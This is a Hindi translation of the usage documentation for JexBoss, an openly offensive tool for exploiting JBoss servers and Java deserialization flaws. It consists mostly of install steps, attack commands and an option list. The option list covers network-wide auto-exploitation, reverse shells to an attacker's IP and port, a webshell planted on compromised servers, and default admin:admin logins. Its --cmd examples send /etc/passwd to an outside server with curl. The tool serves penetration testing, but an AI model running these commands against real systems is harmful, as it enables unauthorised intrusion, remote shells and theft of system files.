
JexBoss: Jboss (और Java डिसीरियलाइज़ेशन भेद्यताएँ) सत्यापन और EXploitation उपकरण
JexBoss एक उपकरण है जो JBoss एप्लिकेशन सर्वर और अन्य जावा प्लेटफ़ॉर्म, फ्रेमवर्क, एप्लिकेशन आदि में कमजोरियों का परीक्षण और शोषण करने के लिए है।
JexBoss के नवीनतम संस्करण को स्थापित करने के लिए, कृपया निम्नलिखित कमांड का उपयोग करें:
git clone https://github.com/joaomatosf/jexboss.git
cd jexboss
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080
या:
नवीनतम संस्करण डाउनलोड करें: https://github.com/joaomatosf/jexboss/archive/master.zip
unzip master.zip
cd jexboss-master
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080
यदि आप Python 2.6 के साथ CentOS का उपयोग कर रहे हैं, तो कृपया Python2.7 स्थापित करें। Collections Software scl का उपयोग करके CentOS पर Python 2.7 स्थापित करने का उदाहरण:
yum -y install centos-release-scl
yum -y install python27
scl enable python27 bash
यदि आप Windows का उपयोग कर रहे हैं, तो आप JexBoss चलाने के लिए Git Bash का उपयोग कर सकते हैं। नीचे दिए गए चरणों का पालन करें:
PATH=$PATH:C:\Python27\
PATH=$PATH:C:\Python27\Scripts
git clone https://github.com/joaomatosf/jexboss.git
cd jexboss
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080
उपकरण और एक्सप्लॉइट निम्नलिखित के लिए विकसित और परीक्षण किए गए हैं:
शोषण वेक्टर हैं:
$ python jexboss.py

$ python jexboss.py -u http://192.168.0.26:8080

$ python jexboss.py -h
$ python jexboss.py -mode auto-scan -network 192.168.0.0/24 -ports 8080 -results results.txt

$ python jexboss.py -mode auto-scan -A -network 192.168.0.0/24 -ports 8080 -results results.txt


JBoss सर्वर का शोषण करने के बाद, आप स्वयं jexboss कमांड शेल का उपयोग कर सकते हैं या निम्नलिखित कमांड का उपयोग करके रिवर्स कनेक्शन कर सकते हैं:
jexremote=YOUR_IP:YOUR_PORT
उदाहरण:
Shell>jexremote=192.168.0.10:4444

जब आप जावा डिसीरियलाइज़ेशन कमजोरियों (एप्लिकेशन डिसीरियलाइज़ेशन, सर्वलेट डिसीरियलाइज़ेशन) का शोषण कर रहे हों, तो डिफ़ॉल्ट विकल्प हैं: रिवर्स शेल कनेक्शन बनाना या निष्पादित करने के लिए एक कमांड भेजना।
$ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize -H parameter_name --cmd 'curl -d@/etc/passwd http://your_server'
$ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize -H parameter_name
$ python jexboss.py -u http://vulnerable_java_app/path --servlet-unserialize
$ python jexboss.py -u http://vulnerable_java_struts2_app/page.action --struts2
$ python jexboss.py -u http://vulnerable_java_struts2_app/page.action --struts2 --cookies "JSESSIONID=24517D9075136F202DCE20E9C89D424D"
$ python jexboss.py -mode auto-scan -network 192.168.0.0/24 -ports 8080,80 -results report_auto_scan.log
$ python jexboss.py -mode file-scan -file host_list.txt -out report_file_scan.log
optional arguments:
-h, --help यह सहायता संदेश दिखाएं और बाहर निकलें
--version प्रोग्राम का संस्करण नंबर दिखाएं और बाहर निकलें
--auto-exploit, -A शोषण कोड स्वचालित रूप से भेजें (केवल तभी उपयोग करें जब आपके पास अनुमति हो!!!)
--disable-check-updates, -D
दो अपडेट जांच अक्षम करें: 1) शोषित सर्वर में वेबशेल द्वारा किया गया अपडेट चेक http://webshell.jexboss.net/jsp_version.txt पर और 2) jexboss क्लाइंट द्वारा http://joaomatosf.com/rnp/releases.txt पर किया गया अपडेट चेक
-mode {standalone,auto-scan,file-scan}
ऑपरेशन मोड (डिफ़ॉल्ट: standalone)
--app-unserialize, -j
HTTP पैरामीटर में जावा अनसीरियलाइज़ेशन कमजोरियों की जाँच करें (जैसे javax.faces.ViewState, oldFormData, आदि)
--servlet-unserialize, -l
सर्वलेट में जावा अनसीरियलाइज़ेशन कमजोरियों की जाँच करें (जैसे Invoker इंटरफ़ेस)
--jboss केवल JBOSS वेक्टर की जाँच करें।
--jenkins केवल Jenkins CLI वेक्टर की जाँच करें।
--jmxtomcat Tomcat में JMX JmxRemoteLifecycleListener की जाँच करें (CVE-2016-8735 और CVE-2016-8735)। ध्यान दें: डिफ़ॉल्ट रूप से जाँच नहीं की जाएगी।
--proxy PROXY, -P PROXY
लक्ष्य URL से कनेक्ट करने के लिए एक http प्रॉक्सी का उपयोग करें (जैसे -P http://192.168.0.1:3128)
--proxy-cred LOGIN:PASS, -L LOGIN:PASS
प्रॉक्सी प्रमाणीकरण क्रेडेंशियल्स (जैसे -L name:password)
--jboss-login LOGIN:PASS, -J LOGIN:PASS
JBoss 5 और JBoss 6 में admin-console का शोषण करने के लिए लॉगिन और पासवर्ड (डिफ़ॉल्ट: admin:admin)
--timeout TIMEOUT टाइमआउट कनेक्शन से पहले प्रतीक्षा करने के लिए सेकंड (डिफ़ॉल्ट 3)
Standalone मोड:
-host HOST, -u HOST जाँच किए जाने वाले होस्ट का पता (जैसे -u http://192.168.0.10:8080)
उन्नत विकल्प (एप्लिकेशन लेयर में JAVA UNSERIALIZE का शोषण करते समय उपयोग करें):
--reverse-host RHOST:RPORT, -r RHOST:RPORT
एप्लिकेशन लेयर में जावा डिसीरियलाइज़ेशन कमजोरियों का शोषण करते समय रिवर्स शेल के लिए रिमोट होस्ट पता और पोर्ट (अभी के लिए, केवल *nix सिस्टम पर काम करता है) (जैसे 192.168.0.10:1331)
--cmd CMD, -x CMD लक्ष्य पर चलाने के लिए विशिष्ट कमांड भेजें (जैसे curl -d @/etc/passwd http://your_server)
--windows, -w निर्दिष्ट करता है कि कमांड rWINDOWS सिस्टम के लिए हैं (cmd.exe)
--post-parameter PARAMETER, -H PARAMETER
पैरामीटर निर्दिष्ट करें जिसमें सीरियलाइज़्ड ऑब्जेक्ट ढूंढना और इंजेक्ट करना है। (जैसे -H javax.faces.ViewState या -H oldFormData (<- Hi PayPal =X) या अन्य) (डिफ़ॉल्ट: javax.faces.ViewState)
--show-payload, -t उत्पन्न पेलोड प्रिंट करें।
--gadget {commons-collections3.1,commons-collections4.0,groovy1}
स्वचालित रूप से पेलोड उत्पन्न करने के लिए गैजेट का प्रकार निर्दिष्ट करें। (डिफ़ॉल्ट: commons-collections3.1 या JenKins के लिए groovy1)
--load-gadget FILENAME
अपना स्वयं का गैजेट फ़ाइल से प्रदान करें (RAW मोड में एक जावा सीरियलाइज़्ड ऑब्जेक्ट)
--force, -F -u पैरामीटर में दिए गए URL पर जावा सीरियलाइज़्ड गैजेट भेजने के लिए बाध्य करें। यह पेलोड को एकाधिक स्वरूपों में भेजेगा (जैसे RAW, GZIPED और BASE64) और विभिन्न Content-Types के साथ।
ऑटो स्कैन मोड:
-network NETWORK CIDR प्रारूप में जाँच किया जाने वाला नेटवर्क (जैसे 10.0.0.0/8)
-ports PORTS प्रत्येक होस्ट के लिए जाँच किए जाने वाले पोर्ट की अल्पविराम से अलग सूची (जैसे 8080,8443,8888,80,443)
-results FILENAME ऑटो स्कैन परिणामों को संग्रहीत करने के लिए फ़ाइल नाम
फ़ाइल स्कैन मोड:
-file FILENAME_HOSTS स्कैन की जाने वाली होस्ट सूची वाली फ़ाइल का नाम (प्रति पंक्ति एक होस्ट)
-out FILENAME_RESULTS
फ़ाइल स्कैन परिणामों को संग्रहीत करने के लिए फ़ाइल नाम